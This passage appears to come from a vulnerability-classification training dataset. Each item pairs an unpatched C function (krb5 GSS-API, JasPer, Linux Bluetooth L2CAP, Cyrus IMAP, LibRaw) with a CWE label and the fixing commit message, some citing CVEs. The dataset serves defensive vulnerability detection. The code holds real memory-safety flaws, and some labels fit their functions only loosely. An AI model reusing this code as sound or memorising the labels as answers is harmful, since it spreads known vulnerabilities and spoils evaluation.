dangerous,\nleading to the possibility of memory errors in some callers. For\nsafety, GSS-API implementations should instead preserve existing\nsecurity contexts on error until the caller deletes them.\n\nAll versions of MIT krb5 prior to this change may delete acceptor\ncontexts on error. Versions 1.13.4 through 1.13.7, 1.14.1 through\n1.14.5, and 1.15 through 1.15.1 may also delete initiator contexts on\nerror.\n\nticket: 8598 (new)\ntarget_version: 1.15-next\ntarget_version: 1.14-next\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: gss_unwrap_iov (minor_status,\n context_handle,\n conf_state,\n qop_state,\n iov,\n iov_count)\nOM_uint32 *\t\tminor_status;\ngss_ctx_id_t\t\tcontext_handle;\nint *\t\t\tconf_state;\ngss_qop_t\t\t*qop_state;\ngss_iov_buffer_desc *\tiov;\nint\t\t\tiov_count;\n{\n /* EXPORT DELETE START */\n\n OM_uint32\t\tstatus;\n gss_union_ctx_id_t\tctx;\n gss_mechanism\tmech;\n\n status = val_unwrap_iov_args(minor_status, context_handle,\n\t\t\t\t conf_state, qop_state, iov, iov_count);\n if (status != GSS_S_COMPLETE)\n\treturn (status);\n\n /*\n * select the approprate underlying mechanism routine and\n * call it.\n */\n\n ctx = (gss_union_ctx_id_t) context_handle;\n mech = gssint_get_mechanism (ctx->mech_type);\n\n if (mech) {\n\tif (mech->gss_unwrap_iov) {\n\t status = mech->gss_unwrap_iov(\n\t\t\t\t \t minor_status,\n\t\t\t\t\t ctx->internal_ctx_id,\n\t\t\t\t\t conf_state,\n\t\t\t\t\t qop_state,\n\t\t\t\t\t iov,\n\t\t\t\t\t iov_count);\n\t if (status != GSS_S_COMPLETE)\n\t\tmap_error(minor_status, mech);\n\t} else\n\t status = GSS_S_UNAVAILABLE;\n\n\treturn(status);\n }\n /* EXPORT DELETE END */\n\n return (GSS_S_BAD_MECH);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415'], 'message': 'Preserve GSS context on init/accept failure\n\nAfter gss_init_sec_context() or gss_accept_sec_context() has created a\ncontext, don't delete the mechglue context on failures from subsequent\ncalls, even if the mechanism deletes the mech-specific context (which\nis allowed by RFC 2744 but not preferred). Check for union contexts\nwith no mechanism context in each GSS function which accepts a\ngss_ctx_id_t.\n\nCVE-2017-11462:\n\nRFC 2744 permits a GSS-API implementation to delete an existing\nsecurity context on a second or subsequent call to\ngss_init_sec_context() or gss_accept_sec_context() if the call results\nin an error. This API behavior has been found to be dangerous,\nleading to the possibility of memory errors in some callers. For\nsafety, GSS-API implementations should instead preserve existing\nsecurity contexts on error until the caller deletes them.\n\nAll versions of MIT krb5 prior to this change may delete acceptor\ncontexts on error. Versions 1.13.4 through 1.13.7, 1.14.1 through\n1.14.5, and 1.15 through 1.15.1 may also delete initiator contexts on\nerror.\n\nticket: 8598 (new)\ntarget_version: 1.15-next\ntarget_version: 1.14-next\ntags: pullup'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void jpc_dec_destroy(jpc_dec_t *dec)\n{\n\tif (dec->cstate) {\n\t\tjpc_cstate_destroy(dec->cstate);\n\t}\n\tif (dec->pkthdrstreams) {\n\t\tjpc_streamlist_destroy(dec->pkthdrstreams);\n\t}\n\tif (dec->image) {\n\t\tjas_image_destroy(dec->image);\n\t}\n\n\tif (dec->cp) {\n\t\tjpc_dec_cp_destroy(dec->cp);\n\t}\n\n\tif (dec->cmpts) {\n\t\tjas_free(dec->cmpts);\n\t}\n\n\tif (dec->tiles) {\n\t\tjas_free(dec->tiles);\n\t}\n\n\tjas_free(dec);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'jpc_dec: fix tile memory leak after decoder failure\n\nThe function jpc_dec_tilefini() is only called for tiles which have\ncompleted successfully. If there is one decoder error, all unfinished\ntiles leak lots of memory.\n\nThis change adds jpc_dec_tilefini() calls to jpc_dec_destroy() for\neach tile which is not marked \"done\" (state!=JPC_TILE_DONE). This\nhowever crashes when the tile initialization loop in\njpc_dec_process_siz() fails, because the rest of the array has not yet\nbeen initialized; to work around this, I added a loop which\ninitializes all states with JPC_TILE_DONE before doing the real\ninitialization.\n\nFixes CVE-2017-13748\n\nCloses https://github.com/mdadams/jasper/issues/168'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct l2cap_chan *l2cap_connect(struct l2cap_conn *conn,\n\t\t\t\t\tstruct l2cap_cmd_hdr *cmd,\n\t\t\t\t\tu8 *data, u8 rsp_code, u8 amp_id)\n{\n\tstruct l2cap_conn_req *req = (struct l2cap_conn_req *) data;\n\tstruct l2cap_conn_rsp rsp;\n\tstruct l2cap_chan *chan = NULL, *pchan;\n\tint result, status = L2CAP_CS_NO_INFO;\n\n\tu16 dcid = 0, scid = __le16_to_cpu(req->scid);\n\t__le16 psm = req->psm;\n\n\tBT_DBG(\"psm 0x%2.2x scid 0x%4.4x\", __le16_to_cpu(psm), scid);\n\n\t/* Check if we have socket listening on psm */\n\tpchan = l2cap_global_chan_by_psm(BT_LISTEN, psm, &conn->hcon->src,\n\t\t\t\t\t &conn->hcon->dst, ACL_LINK);\n\tif (!pchan) {\n\t\tresult = L2CAP_CR_BAD_PSM;\n\t\tgoto sendresp;\n\t}\n\n\tmutex_lock(&conn->chan_lock);\n\tl2cap_chan_lock(pchan);\n\n\t/* Check if the ACL is secure enough (if not SDP) */\n\tif (psm != cpu_to_le16(L2CAP_PSM_SDP) &&\n\t !hci_conn_check_link_mode(conn->hcon)) {\n\t\tconn->disc_reason = HCI_ERROR_AUTH_FAILURE;\n\t\tresult = L2CAP_CR_SEC_BLOCK;\n\t\tgoto response;\n\t}\n\n\tresult = L2CAP_CR_NO_MEM;\n\n\t/* Check if we already have channel with that dcid */\n\tif (__l2cap_get_chan_by_dcid(conn, scid))\n\t\tgoto response;\n\n\tchan = pchan->ops->new_connection(pchan);\n\tif (!chan)\n\t\tgoto response;\n\n\t/* For certain devices (ex: HID mouse), support for authentication,\n\t * pairing and bonding is optional. For such devices, inorder to avoid\n\t * the ACL alive for too long after L2CAP disconnection, reset the ACL\n\t * disc_timeout back to HCI_DISCONN_TIMEOUT during L2CAP connect.\n\t */\n\tconn->hcon->disc_timeout = HCI_DISCONN_TIMEOUT;\n\n\tbacpy(&chan->src, &conn->hcon->src);\n\tbacpy(&chan->dst, &conn->hcon->dst);\n\tchan->src_type = bdaddr_src_type(conn->hcon);\n\tchan->dst_type = bdaddr_dst_type(conn->hcon);\n\tchan->psm = psm;\n\tchan->dcid = scid;\n\tchan->local_amp_id = amp_id;\n\n\t__l2cap_chan_add(conn, chan);\n\n\tdcid = chan->scid;\n\n\t__set_chan_timer(chan, chan->ops->get_sndtimeo(chan));\n\n\tchan->ident = cmd->ident;\n\n\tif (conn->info_state & L2CAP_INFO_FEAT_MASK_REQ_DONE) {\n\t\tif (l2cap_chan_check_security(chan, false)) {\n\t\t\tif (test_bit(FLAG_DEFER_SETUP, &chan->flags)) {\n\t\t\t\tl2cap_state_change(chan, BT_CONNECT2);\n\t\t\t\tresult = L2CAP_CR_PEND;\n\t\t\t\tstatus = L2CAP_CS_AUTHOR_PEND;\n\t\t\t\tchan->ops->defer(chan);\n\t\t\t} else {\n\t\t\t\t/* Force pending result for AMP controllers.\n\t\t\t\t * The connection will succeed after the\n\t\t\t\t * physical link is up.\n\t\t\t\t */\n\t\t\t\tif (amp_id == AMP_ID_BREDR) {\n\t\t\t\t\tl2cap_state_change(chan, BT_CONFIG);\n\t\t\t\t\tresult = L2CAP_CR_SUCCESS;\n\t\t\t\t} else {\n\t\t\t\t\tl2cap_state_change(chan, BT_CONNECT2);\n\t\t\t\t\tresult = L2CAP_CR_PEND;\n\t\t\t\t}\n\t\t\t\tstatus = L2CAP_CS_NO_INFO;\n\t\t\t}\n\t\t} else {\n\t\t\tl2cap_state_change(chan, BT_CONNECT2);\n\t\t\tresult = L2CAP_CR_PEND;\n\t\t\tstatus = L2CAP_CS_AUTHEN_PEND;\n\t\t}\n\t} else {\n\t\tl2cap_state_change(chan, BT_CONNECT2);\n\t\tresult = L2CAP_CR_PEND;\n\t\tstatus = L2CAP_CS_NO_INFO;\n\t}\n\nresponse:\n\tl2cap_chan_unlock(pchan);\n\tmutex_unlock(&conn->chan_lock);\n\tl2cap_chan_put(pchan);\n\nsendresp:\n\trsp.scid = cpu_to_le16(scid);\n\trsp.dcid = cpu_to_le16(dcid);\n\trsp.result = cpu_to_le16(result);\n\trsp.status = cpu_to_le16(status);\n\tl2cap_send_cmd(conn, cmd->ident, rsp_code, sizeof(rsp), &rsp);\n\n\tif (result == L2CAP_CR_PEND && status == L2CAP_CS_NO_INFO) {\n\t\tstruct l2cap_info_req info;\n\t\tinfo.type = cpu_to_le16(L2CAP_IT_FEAT_MASK);\n\n\t\tconn->info_state |= L2CAP_INFO_FEAT_MASK_REQ_SENT;\n\t\tconn->info_ident = l2cap_get_ident(conn);\n\n\t\tschedule_delayed_work(&conn->info_timer, L2CAP_INFO_TIMEOUT);\n\n\t\tl2cap_send_cmd(conn, conn->info_ident, L2CAP_INFO_REQ,\n\t\t\t sizeof(info), &info);\n\t}\n\n\tif (chan && !test_bit(CONF_REQ_SENT, &chan->conf_state) &&\n\t result == L2CAP_CR_SUCCESS) {\n\t\tu8 buf[128];\n\t\tset_bit(CONF_REQ_SENT, &chan->conf_state);\n\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,\n\t\t\t l2cap_build_conf_req(chan, buf), buf);\n\t\tchan->num_conf_req++;\n\t}\n\n\treturn chan;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Bluetooth: Properly check L2CAP config option output buffer length\n\nValidate the output buffer length for L2CAP config requests and responses\nto avoid overflowing the stack buffer used for building the option blocks.\n\nCc: stable@vger.kernel.org\nSigned-off-by: Ben Seri \nSigned-off-by: Marcel Holtmann \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len,\n\t\t\t\tvoid *data, u16 *result)\n{\n\tstruct l2cap_conf_req *req = data;\n\tvoid *ptr = req->data;\n\tint type, olen;\n\tunsigned long val;\n\tstruct l2cap_conf_rfc rfc = { .mode = L2CAP_MODE_BASIC };\n\tstruct l2cap_conf_efs efs;\n\n\tBT_DBG(\"chan %p, rsp %p, len %d, req %p\", chan, rsp, len, data);\n\n\twhile (len >= L2CAP_CONF_OPT_SIZE) {\n\t\tlen -= l2cap_get_conf_opt(&rsp, &type, &olen, &val);\n\n\t\tswitch (type) {\n\t\tcase L2CAP_CONF_MTU:\n\t\t\tif (val < L2CAP_DEFAULT_MIN_MTU) {\n\t\t\t\t*result = L2CAP_CONF_UNACCEPT;\n\t\t\t\tchan->imtu = L2CAP_DEFAULT_MIN_MTU;\n\t\t\t} else\n\t\t\t\tchan->imtu = val;\n\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu);\n\t\t\tbreak;\n\n\t\tcase L2CAP_CONF_FLUSH_TO:\n\t\t\tchan->flush_to = val;\n\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_FLUSH_TO,\n\t\t\t\t\t 2, chan->flush_to);\n\t\t\tbreak;\n\n\t\tcase L2CAP_CONF_RFC:\n\t\t\tif (olen == sizeof(rfc))\n\t\t\t\tmemcpy(&rfc, (void *)val, olen);\n\n\t\t\tif (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) &&\n\t\t\t rfc.mode != chan->mode)\n\t\t\t\treturn -ECONNREFUSED;\n\n\t\t\tchan->fcs = 0;\n\n\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n\t\t\t\t\t sizeof(rfc), (unsigned long) &rfc);\n\t\t\tbreak;\n\n\t\tcase L2CAP_CONF_EWS:\n\t\t\tchan->ack_win = min_t(u16, val, chan->ack_win);\n\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_EWS, 2,\n\t\t\t\t\t chan->tx_win);\n\t\t\tbreak;\n\n\t\tcase L2CAP_CONF_EFS:\n\t\t\tif (olen == sizeof(efs))\n\t\t\t\tmemcpy(&efs, (void *)val, olen);\n\n\t\t\tif (chan->local_stype != L2CAP_SERV_NOTRAFIC &&\n\t\t\t efs.stype != L2CAP_SERV_NOTRAFIC &&\n\t\t\t efs.stype != chan->local_stype)\n\t\t\t\treturn -ECONNREFUSED;\n\n\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, sizeof(efs),\n\t\t\t\t\t (unsigned long) &efs);\n\t\t\tbreak;\n\n\t\tcase L2CAP_CONF_FCS:\n\t\t\tif (*result == L2CAP_CONF_PENDING)\n\t\t\t\tif (val == L2CAP_FCS_NONE)\n\t\t\t\t\tset_bit(CONF_RECV_NO_FCS,\n\t\t\t\t\t\t&chan->conf_state);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (chan->mode == L2CAP_MODE_BASIC && chan->mode != rfc.mode)\n\t\treturn -ECONNREFUSED;\n\n\tchan->mode = rfc.mode;\n\n\tif (*result == L2CAP_CONF_SUCCESS || *result == L2CAP_CONF_PENDING) {\n\t\tswitch (rfc.mode) {\n\t\tcase L2CAP_MODE_ERTM:\n\t\t\tchan->retrans_timeout = le16_to_cpu(rfc.retrans_timeout);\n\t\t\tchan->monitor_timeout = le16_to_cpu(rfc.monitor_timeout);\n\t\t\tchan->mps = le16_to_cpu(rfc.max_pdu_size);\n\t\t\tif (!test_bit(FLAG_EXT_CTRL, &chan->flags))\n\t\t\t\tchan->ack_win = min_t(u16, chan->ack_win,\n\t\t\t\t\t\t rfc.txwin_size);\n\n\t\t\tif (test_bit(FLAG_EFS_ENABLE, &chan->flags)) {\n\t\t\t\tchan->local_msdu = le16_to_cpu(efs.msdu);\n\t\t\t\tchan->local_sdu_itime =\n\t\t\t\t\tle32_to_cpu(efs.sdu_itime);\n\t\t\t\tchan->local_acc_lat = le32_to_cpu(efs.acc_lat);\n\t\t\t\tchan->local_flush_to =\n\t\t\t\t\tle32_to_cpu(efs.flush_to);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase L2CAP_MODE_STREAMING:\n\t\t\tchan->mps = le16_to_cpu(rfc.max_pdu_size);\n\t\t}\n\t}\n\n\treq->dcid = cpu_to_le16(chan->dcid);\n\treq->flags = cpu_to_le16(0);\n\n\treturn ptr - data;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Bluetooth: Properly check L2CAP config option output buffer length\n\nValidate the output buffer length for L2CAP config requests and responses\nto avoid overflowing the stack buffer used for building the option blocks.\n\nCc: stable@vger.kernel.org\nSigned-off-by: Ben Seri \nSigned-off-by: Marcel Holtmann \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int mboxlist_do_find(struct find_rock *rock, const strarray_t *patterns)\n{\n const char *userid = rock->userid;\n int isadmin = rock->isadmin;\n\n int crossdomains = config_getswitch(IMAPOPT_CROSSDOMAINS);\n char inbox[MAX_MAILBOX_BUFFER];\n size_t inboxlen = 0;\n size_t prefixlen, len;\n size_t domainlen = 0;\n size_t userlen = userid ? strlen(userid) : 0;\n char domainpat[MAX_MAILBOX_BUFFER]; /* do intra-domain fetches only */\n char commonpat[MAX_MAILBOX_BUFFER];\n int r = 0;\n int i;\n const char *p;\n\n if (patterns->count < 1) return 0; /* nothing to do */\n\n for (i = 0; i < patterns->count; i++) {\n glob *g = glob_init(strarray_nth(patterns, i), rock->namespace->hier_sep);\n ptrarray_append(&rock->globs, g);\n }\n\n if (config_virtdomains && userid && (p = strchr(userid, '@'))) {\n userlen = p - userid;\n domainlen = strlen(p); /* includes separator */\n snprintf(domainpat, sizeof(domainpat), \"%s!\", p+1);\n }\n else\n domainpat[0] = '\\0';\n\n /* calculate the inbox (with trailing .INBOX. for later use) */\n if (userid && (!(p = strchr(userid, rock->namespace->hier_sep)) ||\n ((p - userid) > (int)userlen)) &&\n strlen(userid)+7 < MAX_MAILBOX_BUFFER) {\n char *t, *tmpuser = NULL;\n const char *inboxuser;\n\n if (domainlen)\n snprintf(inbox, sizeof(inbox), \"%s!\", userid+userlen+1);\n if (rock->namespace->hier_sep == '/' && (p = strchr(userid, '.'))) {\n tmpuser = xmalloc(userlen);\n memcpy(tmpuser, userid, userlen);\n t = tmpuser + (p - userid);\n while(t < (tmpuser + userlen)) {\n if (*t == '.')\n *t = '^';\n t++;\n }\n inboxuser = tmpuser;\n } else\n inboxuser = userid;\n snprintf(inbox+domainlen, sizeof(inbox)-domainlen,\n \"user.%.*s.INBOX.\", (int)userlen, inboxuser);\n free(tmpuser);\n inboxlen = strlen(inbox) - 7;\n }\n else {\n userid = 0;\n }\n\n /* Find the common search prefix of all patterns */\n const char *firstpat = strarray_nth(patterns, 0);\n for (prefixlen = 0; firstpat[prefixlen]; prefixlen++) {\n if (prefixlen >= MAX_MAILBOX_NAME) {\n r = IMAP_MAILBOX_BADNAME;\n goto done;\n }\n char c = firstpat[prefixlen];\n for (i = 1; i < patterns->count; i++) {\n const char *pat = strarray_nth(patterns, i);\n if (pat[prefixlen] != c) break;\n }\n if (i < patterns->count) break;\n if (c == '*' || c == '%' || c == '?') break;\n commonpat[prefixlen] = c;\n }\n commonpat[prefixlen] = '\\0';\n\n if (patterns->count == 1) {\n /* Skip pattern which matches shared namespace prefix */\n if (!strcmp(firstpat+prefixlen, \"%\"))\n rock->singlepercent = 2;\n /* output prefix regardless */\n if (!strcmp(firstpat+prefixlen, \"*%\"))\n rock->singlepercent = 1;\n }\n\n /*\n * Personal (INBOX) namespace (only if not admin)\n */\n if (userid && !isadmin) {\n /* first the INBOX */\n rock->mb_category = MBNAME_INBOX;\n r = cyrusdb_forone(rock->db, inbox, inboxlen, &find_p, &find_cb, rock, NULL);\n if (r == CYRUSDB_DONE) r = 0;\n if (r) goto done;\n\n if (rock->namespace->isalt) {\n /* do exact INBOX subs before resetting the namebuffer */\n rock->mb_category = MBNAME_INBOXSUB;\n r = cyrusdb_foreach(rock->db, inbox, inboxlen+7, &find_p, &find_cb, rock, NULL);\n if (r == CYRUSDB_DONE) r = 0;\n if (r) goto done;\n\n /* reset the the namebuffer */\n r = (*rock->proc)(NULL, rock->procrock);\n if (r) goto done;\n }\n\n /* iterate through all the mailboxes under the user's inbox */\n rock->mb_category = MBNAME_OWNER;\n r = cyrusdb_foreach(rock->db, inbox, inboxlen+1, &find_p, &find_cb, rock, NULL);\n if (r == CYRUSDB_DONE) r = 0;\n if (r) goto done;\n\n /* \"Alt Prefix\" folders */\n if (rock->namespace->isalt) {\n /* reset the the namebuffer */\n r = (*rock->proc)(NULL, rock->procrock);\n if (r) goto done;\n\n rock->mb_category = MBNAME_ALTINBOX;\n\n /* special case user.foo.INBOX. If we're singlepercent == 2, this could\n return DONE, in which case we don't need to foreach the rest of the\n altprefix space */\n r = cyrusdb_forone(rock->db, inbox, inboxlen+6, &find_p, &find_cb, rock, NULL);\n if (r == CYRUSDB_DONE) goto skipalt;\n if (r) goto done;\n\n /* special case any other altprefix stuff */\n rock->mb_category = MBNAME_ALTPREFIX;\n r = cyrusdb_foreach(rock->db, inbox, inboxlen+1, &find_p, &find_cb, rock, NULL);\n skipalt: /* we got a done, so skip out of the foreach early */\n if (r == CYRUSDB_DONE) r = 0;\n if (r) goto done;\n }\n }\n\n /*\n * Other Users namespace\n *\n * If \"Other Users*\" can match pattern, search for those mailboxes next\n */\n if (isadmin || rock->namespace->accessible[NAMESPACE_USER]) {\n len = strlen(rock->namespace->prefix[NAMESPACE_USER]);\n if (len) len--; // trailing separator\n\n if (!strncmp(rock->namespace->prefix[NAMESPACE_USER], commonpat, MIN(len, prefixlen))) {\n if (prefixlen < len) {\n /* we match all users */\n strlcpy(domainpat+domainlen, \"user.\", sizeof(domainpat)-domainlen);\n }\n else {\n /* just those in this prefix */\n strlcpy(domainpat+domainlen, \"user.\", sizeof(domainpat)-domainlen);\n strlcpy(domainpat+domainlen+5, commonpat+len+1, sizeof(domainpat)-domainlen-5);\n }\n\n rock->mb_category = MBNAME_OTHERUSER;\n\n /* because of how domains work, with crossdomains or admin you can't prefix at all :( */\n size_t thislen = (isadmin || crossdomains) ? 0 : strlen(domainpat);\n\n /* reset the the namebuffer */\n r = (*rock->proc)(NULL, rock->procrock);\n if (r) goto done;\n\n r = mboxlist_find_category(rock, domainpat, thislen);\n if (r) goto done;\n }\n }\n\n /*\n * Shared namespace\n *\n * search for all remaining mailboxes.\n * just bother looking at the ones that have the same pattern prefix.\n */\n if (isadmin || rock->namespace->accessible[NAMESPACE_SHARED]) {\n len = strlen(rock->namespace->prefix[NAMESPACE_SHARED]);\n if (len) len--; // trailing separator\n\n if (!strncmp(rock->namespace->prefix[NAMESPACE_SHARED], commonpat, MIN(len, prefixlen))) {\n rock->mb_category = MBNAME_SHARED;\n\n /* reset the the namebuffer */\n r = (*rock->proc)(NULL, rock->procrock);\n if (r) goto done;\n\n /* iterate through all the non-user folders on the server */\n r = mboxlist_find_category(rock, domainpat, domainlen);\n if (r) goto done;\n }\n }\n\n /* finish with a reset call always */\n r = (*rock->proc)(NULL, rock->procrock);\n\n done:\n for (i = 0; i < rock->globs.count; i++) {\n glob *g = ptrarray_nth(&rock->globs, i);\n glob_free(&g);\n }\n ptrarray_fini(&rock->globs);\n\n return r;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'mboxlist: fix uninitialised memory use where pattern is \"Other Users\"'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void CLASS parse_makernote_0xc634(int base, int uptag, unsigned dng_writer)\n{\n unsigned ver97 = 0, offset = 0, entries, tag, type, len, save, c;\n unsigned i;\n\n uchar NikonKey, ci, cj, ck;\n unsigned serial = 0;\n unsigned custom_serial = 0;\n unsigned NikonLensDataVersion = 0;\n unsigned lenNikonLensData = 0;\n unsigned NikonFlashInfoVersion = 0;\n\n uchar *CanonCameraInfo;\n unsigned lenCanonCameraInfo = 0;\n\n uchar *table_buf;\n uchar *table_buf_0x9050;\n ushort table_buf_0x9050_present = 0;\n uchar *table_buf_0x940c;\n ushort table_buf_0x940c_present = 0;\n\n short morder, sorder = order;\n char buf[10];\n INT64 fsize = ifp->size();\n\n fread(buf, 1, 10, ifp);\n if (!strcmp(buf, \"Nikon\")) {\n base = ftell(ifp);\n order = get2();\n if (get2() != 42) goto quit;\n offset = get4();\n fseek(ifp, offset - 8, SEEK_CUR);\n }\n else if (!strcmp(buf, \"OLYMPUS\") ||\n !strcmp(buf, \"PENTAX \") ||\n (!strncmp(make, \"SAMSUNG\", 7) && (dng_writer == CameraDNG))) {\n base = ftell(ifp) - 10;\n fseek(ifp, -2, SEEK_CUR);\n order = get2();\n if (buf[0] == 'O') get2();\n }\n else if (!strncmp(buf, \"SONY\", 4) ||\n !strcmp(buf, \"Panasonic\")) {\n goto nf;\n }\n else if (!strncmp(buf, \"FUJIFILM\", 8)) {\n base = ftell(ifp) - 10;\n nf: order = 0x4949;\n fseek(ifp, 2, SEEK_CUR);\n }\n else if (!strcmp(buf, \"OLYMP\") ||\n !strcmp(buf, \"LEICA\") ||\n !strcmp(buf, \"Ricoh\") ||\n !strcmp(buf, \"EPSON\"))\n fseek(ifp, -2, SEEK_CUR);\n else if (!strcmp(buf, \"AOC\") ||\n !strcmp(buf, \"QVC\"))\n fseek(ifp, -4, SEEK_CUR);\n else {\n fseek(ifp, -10, SEEK_CUR);\n if ((!strncmp(make, \"SAMSUNG\", 7) &&\n\t\t\t\t(dng_writer == AdobeDNG)))\n base = ftell(ifp);\n }\n\n entries = get2();\n if (entries > 1000) return;\n morder = order;\n\n while (entries--) {\n order = morder;\n tiff_get(base, &tag, &type, &len, &save);\n INT64 pos = ifp->tell();\n if(len > 8 && pos+len > 2* fsize) continue;\n tag |= uptag << 16;\n if(len > 100*1024*1024) goto next; // 100Mb tag? No!\n\n if (!strncmp(make, \"Canon\",5))\n {\n if (tag == 0x000d && len < 256000) // camera info\n {\n CanonCameraInfo = (uchar*)malloc(len);\n fread(CanonCameraInfo, len, 1, ifp);\n lenCanonCameraInfo = len;\n }\n\n else if (tag == 0x10)\t // Canon ModelID\n {\n unique_id = get4();\n if (unique_id == 0x03740000) unique_id = 0x80000374;\t// M3\n if (unique_id == 0x03840000) unique_id = 0x80000384;\t// M10\n if (unique_id == 0x03940000) unique_id = 0x80000394;\t// M5\n setCanonBodyFeatures(unique_id);\n if (lenCanonCameraInfo)\n {\n processCanonCameraInfo(unique_id, CanonCameraInfo,lenCanonCameraInfo);\n free(CanonCameraInfo);\n CanonCameraInfo = 0;\n lenCanonCameraInfo = 0;\n }\n }\n\n else parseCanonMakernotes (tag, type, len);\n }\n\n else if (!strncmp(make, \"FUJI\", 4))\n parseFujiMakernotes (tag, type);\n\n else if (!strncasecmp(make, \"LEICA\", 5))\n {\n if (((tag == 0x035e) || (tag == 0x035f)) && (type == 10) && (len == 9))\n {\n int ind = tag == 0x035e?0:1;\n\t for (int j=0; j < 3; j++)\n\t FORCC imgdata.color.dng_color[ind].forwardmatrix[j][c]= getreal(type);\n }\n if ((tag == 0x0303) && (type != 4))\n {\n stmread(imgdata.lens.makernotes.Lens, len,ifp);\n }\n\n if ((tag == 0x3405) ||\n (tag == 0x0310) ||\n (tag == 0x34003405))\n {\n imgdata.lens.makernotes.LensID = get4();\n imgdata.lens.makernotes.LensID =\n ((imgdata.lens.makernotes.LensID>>2)<<8) |\n (imgdata.lens.makernotes.LensID & 0x3);\n if (imgdata.lens.makernotes.LensID != -1)\n {\n if ((model[0] == 'M') ||\n !strncasecmp (model, \"LEICA M\", 7))\n {\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_Leica_M;\n if (imgdata.lens.makernotes.LensID)\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_Leica_M;\n }\n else if ((model[0] == 'S') ||\n !strncasecmp (model, \"LEICA S\", 7))\n {\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_Leica_S;\n if (imgdata.lens.makernotes.Lens[0])\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_Leica_S;\n }\n }\n }\n\n else if (\n ((tag == 0x0313) || (tag == 0x34003406)) &&\n (fabs(imgdata.lens.makernotes.CurAp) < 0.17f) &&\n ((type == 10) || (type == 5))\n )\n {\n imgdata.lens.makernotes.CurAp = getreal(type);\n if (imgdata.lens.makernotes.CurAp > 126.3)\n imgdata.lens.makernotes.CurAp = 0.0f;\n }\n\n else if (tag == 0x3400)\n {\n parse_makernote (base, 0x3400);\n }\n }\n\n else if (!strncmp(make, \"NIKON\", 5))\n {\n if (tag == 0x1d)\t\t\t\t\t\t\t// serial number\n while ((c = fgetc(ifp)) && c != EOF)\n {\n if ((!custom_serial) && (!isdigit(c)))\n {\n if ((strbuflen(model) == 3) && (!strcmp(model,\"D50\")))\n {\n custom_serial = 34;\n }\n else\n {\n custom_serial = 96;\n }\n }\n serial = serial*10 + (isdigit(c) ? c - '0' : c % 10);\n }\n else if (tag == 0x000a)\n {\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_FixedLens;\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_FixedLens;\n }\n else if (tag == 0x0082)\t\t\t\t// lens attachment\n {\n stmread(imgdata.lens.makernotes.Attachment, len, ifp);\n }\n else if (tag == 0x0083)\t\t\t\t// lens type\n {\n imgdata.lens.nikon.NikonLensType = fgetc(ifp);\n }\n else if (tag == 0x0084)\t\t\t\t// lens\n {\n imgdata.lens.makernotes.MinFocal = getreal(type);\n imgdata.lens.makernotes.MaxFocal = getreal(type);\n imgdata.lens.makernotes.MaxAp4MinFocal = getreal(type);\n imgdata.lens.makernotes.MaxAp4MaxFocal = getreal(type);\n }\n else if (tag == 0x008b)\t\t\t\t// lens f-stops\n {\n uchar a, b, c;\n a = fgetc(ifp);\n b = fgetc(ifp);\n c = fgetc(ifp);\n if (c)\n {\n imgdata.lens.nikon.NikonLensFStops = a*b*(12/c);\n imgdata.lens.makernotes.LensFStops =\n (float)imgdata.lens.nikon.NikonLensFStops /12.0f;\n }\n }\n else if (tag == 0x0093)\n {\n i = get2();\n if ((i == 7) || (i == 9))\n {\n imgdata.lens.makernotes.LensMount = LIBRAW_MOUNT_FixedLens;\n imgdata.lens.makernotes.CameraMount = LIBRAW_MOUNT_FixedLens;\n }\n }\n else if (tag == 0x0097)\n {\n for (i=0; i < 4; i++)\n\t ver97 = ver97 * 10 + fgetc(ifp)-'0';\n\t if (ver97 == 601) // Coolpix A\n\t {\n\t imgdata.lens.makernotes.LensMount = 